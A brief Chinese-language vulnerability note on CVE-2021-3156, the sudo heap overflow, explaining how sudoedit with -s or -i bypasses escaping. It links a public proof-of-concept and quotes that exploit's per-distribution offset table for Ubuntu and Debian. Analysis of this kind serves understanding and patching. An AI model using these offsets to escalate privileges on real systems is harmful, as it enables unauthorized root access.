最早出处

漏洞最早由Qualys研究小组发现的，博客地址：
https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

漏洞成因

上面博客中写道是基于堆溢出产生的漏洞，但是细节是触发漏洞需要这样做

either through the -s option, which sets Sudo’s MODE_SHELL flag;

OR through the -i option, which sets Sudo’s MODE_SHELL and MODE_LOGIN_SHELL flags;

要么-s 要么-i，设置flag为MODE_SHELL

sudoedit -s 命令含义：
执行环境变量中所指定的 shell ，或是 /etc/passwd 里所指定的shell

正常MODE_SHELL的flag情况下，会转义字符，但是文章中表示如果以非sudo的身份执行sudoedit，flag会|=MODE_EDIT，并且MODE_EDIT不会被重置，此时就会拥有MODE_EDIT|MODE_SHELL的flag，绕过了转义。

POC1

https://github.com/blasty/CVE-2021-3156
这个poc它只写了ubuntu和debian的复现，代码看起来也很容易理解。

target_t targets[] = {
   
   
    {
   
   
        // Yes, same values as 20.04.1, but also confirmed.
        .target_name    = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27",
        .sudoedit_path  = SUDOEDIT_PATH,
        .smash_len_a    = 56,
        .smash_len_b    = 54,
        .null_stomp_len = 63, 
        .lc_all_len     = 212
    },
    {
   
   
        .target_name    = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
        .sudoedit_path  = SUDOEDIT_PATH,
        .smash_len_a    = 56,
        .smash_len_b    = 54,
        .null_stomp_len = 63, 
        .lc_all_len     = 212
    },
    {
   
   
        .target_name    = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28",
        .sudoedit_path  = SUDOEDIT_PATH,
        .smash_len_a    = 64,
        .smash_len_b    = 49,
        .null_stomp_len = 60, 
        .lc_all_len     = 214
    }
};